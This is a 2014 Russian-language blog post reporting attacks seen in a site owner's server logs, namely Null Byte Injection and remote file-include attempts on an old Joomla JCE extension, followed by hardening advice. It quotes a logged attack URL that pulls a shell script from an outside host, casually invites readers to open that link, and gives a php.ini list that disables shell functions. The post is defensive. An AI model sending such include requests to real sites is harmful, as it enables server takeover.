Суббота, 18 января 2014 00:00

Внимание, хакерские атаки в вебе

Оцените материал
(2 голосов)

 

 

 

 

В течение последних двух-трех месяцев автор этих строк, время от времени просматривая логи веб-сервера, пробовал локализовать и систематизировать перечень хакерских атак на свои web-сайты... сегодня с уверенностью могу сказать: чаще других применялись попытки инклюда, пытающиеся эксплуатировать старые проблемы безопасности в расширениях Joomla и Wordpress, а также нулевой код в URI (Null Byte Injection).

 

На этой страничке вы увидите небольшой отчет о проведенном исследовании; возможно, рассказ о происходящих в Сети событиях многим покажется интересным. Да, это рассказ именно о Глобальной Сети и происходящих в ней теневых процессах: уверен, описанные попытки взлома не имеют адресного характера и ежедневно применяются (иногда не без успеха, знаю непонаслышке) на тысячах сайтов.

Dev banner 1

 

Null Byte Injection используется злоумышленниками-хакерами для обхода проверки фильтра веб-инфраструктуры, путем добавления в url символа нулевого байта (т.е. %00, или 0x00 в hex). Попытка такого рода способна изменить намеченную разработчиком логику приложения, что потенциально приводит к НСД (несанкционированному доступу) к системным файлам и взлому.

Большинство веб-приложений сегодня разрабатываются с использованием языков высокого уровня, таких как PHP, ASP, Perl, Java. Несмотря на это, веб-приложение в какой-то момент требует обработки кода и на системном уровне, и процесс, как правило, осуществляется с помощью C/C++ функций. Разнообразный характер этих зависимых технологий привел к появлению класса атак под названием Null Byte Injection. В C/C++ нулевой байт представляет из себя точку завершения строки или символ-разделитель, что означает директиву немедленно прекратить обработку строки. Байты после разделителя будут игнорироваться. Если строка теряет нулевой символ, длина строки становится неизвестной, пока указатель памяти (memory pointer), возможно, не встретит следующий нулевой байт. И именно вот это непреднамеренное ветвление способно обнаружить и вызвать к жизни уязвимости в системе и/или области приложений.

 

Остановимся сейчас на первом из двух сценариев. Null Byte Injection же - тема для отдельной публикации... впрочем, описанные ниже способы защиты вполне адекватны в контексте двух перечисленных видов атак.

Что же, собственно говоря, происходит... а происходит конкретно следующее. Имеет место атака, направленная на уже очень неновую уязвимость в одном из расширений, в частности, Joomla, а именно - на компонент JCE (com_jce), старые версии которого буквально изобилуют опасными проблемами безопасности. Сценарий атаки - GET-запрос, который способен выглядеть, например, так:

 

http://masterpro.ws//index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://stage-secrets-management.com/includes/php/update.php

 

Что же там за адрес такой, после src? - не поленитесь, откройте ссылку. Ничего страшного не произойдет. Вы увидите форму, веб-мордочку скрипта, предназначенного именно к этой цели - инклюд, и эксплуатирующего уязвимость старой версии JCE, имеющий целью - получение рутового шелла. Нет уже смысла подробно останавливаться на старой, давно перекрытой разработчиками уязвимости - наиболее любознательных я приглашаю погуглить по фразе JCE Joomla Extension Remote File Upload, вы сможете увидеть ряд любопытных видеороликов на тему плюс подробную транскрипцию происходящего.

 

Продолжение разговора. Ряд подробностей по теме вы можете прочесть на форуме, там же возможно увидеть перечень web-ресурсов, выуженных мной из логов и содержащих на данный момент (либо в недалеком прошлом) злонамеренный программный код. Сценарии атаки очень неновы... но, по-видимому, вполне применимы и сегодня.

 

Первый из двух вечных для нашей страны вопросы - кто виноват и что делать - мы, как водится, оставим за скобками. А вот второй разберем насколько сможем подробно в рамках этой небольшой статьи... и попытаемся максимально обезопасить ваш сайт. Что же нам для этого понадобится?

Прежде всего - взглянем в сторону security-расширений. Если вы владелец сайта на WordPress - очень нелишним будет обратить взор на BulletProof Security, если у вас Joomla-сайт - присмотритесь к RSFirewall или Admin Tools Professional. Эти extensions вполне способны обеспечить вашему сайту безопасное житье-бытье... да, но не только они.

Никогда не забывайте о безопасных permissions для файлов и директорий вашего сайта. Все очень несложно; зайдите по ssh на ваш web-сервер и, находясь на один уровень выше публичной директории, выполните две команды, устанавливающие безопасные разрешения:

 

find public_html -type d -exec chmod 0755 {} \;
find public_html -type f -exec chmod 0644 {} \;

 

Также не мешает подредактировать .htaccess вашего web-сайта, руководствуясь htaccess examples security на joomla.org; если нет желания подробно разбираться в написанном - вы можете воспользоваться парочкой готовых и вполне дееспособных примеров с форума masterpro.ws.

Очень рекомендую озаботиться редактурой параметров вашего php (файл php.ini), поотключав в нем всевозможные излишества и обязательно прописав open_basedir:

 

register_globals=Off
safe_mode=Off
allow_url_fopen=Off
allow_url_include=Off
disable_functions=show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
open_basedir=/путь к каталогу tmp/

 

Что еще? - а, ну как же. Самое главное. Никогда не забывайте обновлять расширения вашего сайта, они должны быть у вас только в актуальных своих версиях... ну и, пожалуй, это действительно все. Если что-то упустил - буду благодарен за дельный комментарий или новости по теме... enjoy!

 

Последнее изменениеВоскресенье, 09 марта 2014 12:54

Оставить комментарий

Добавьте ваш комментарий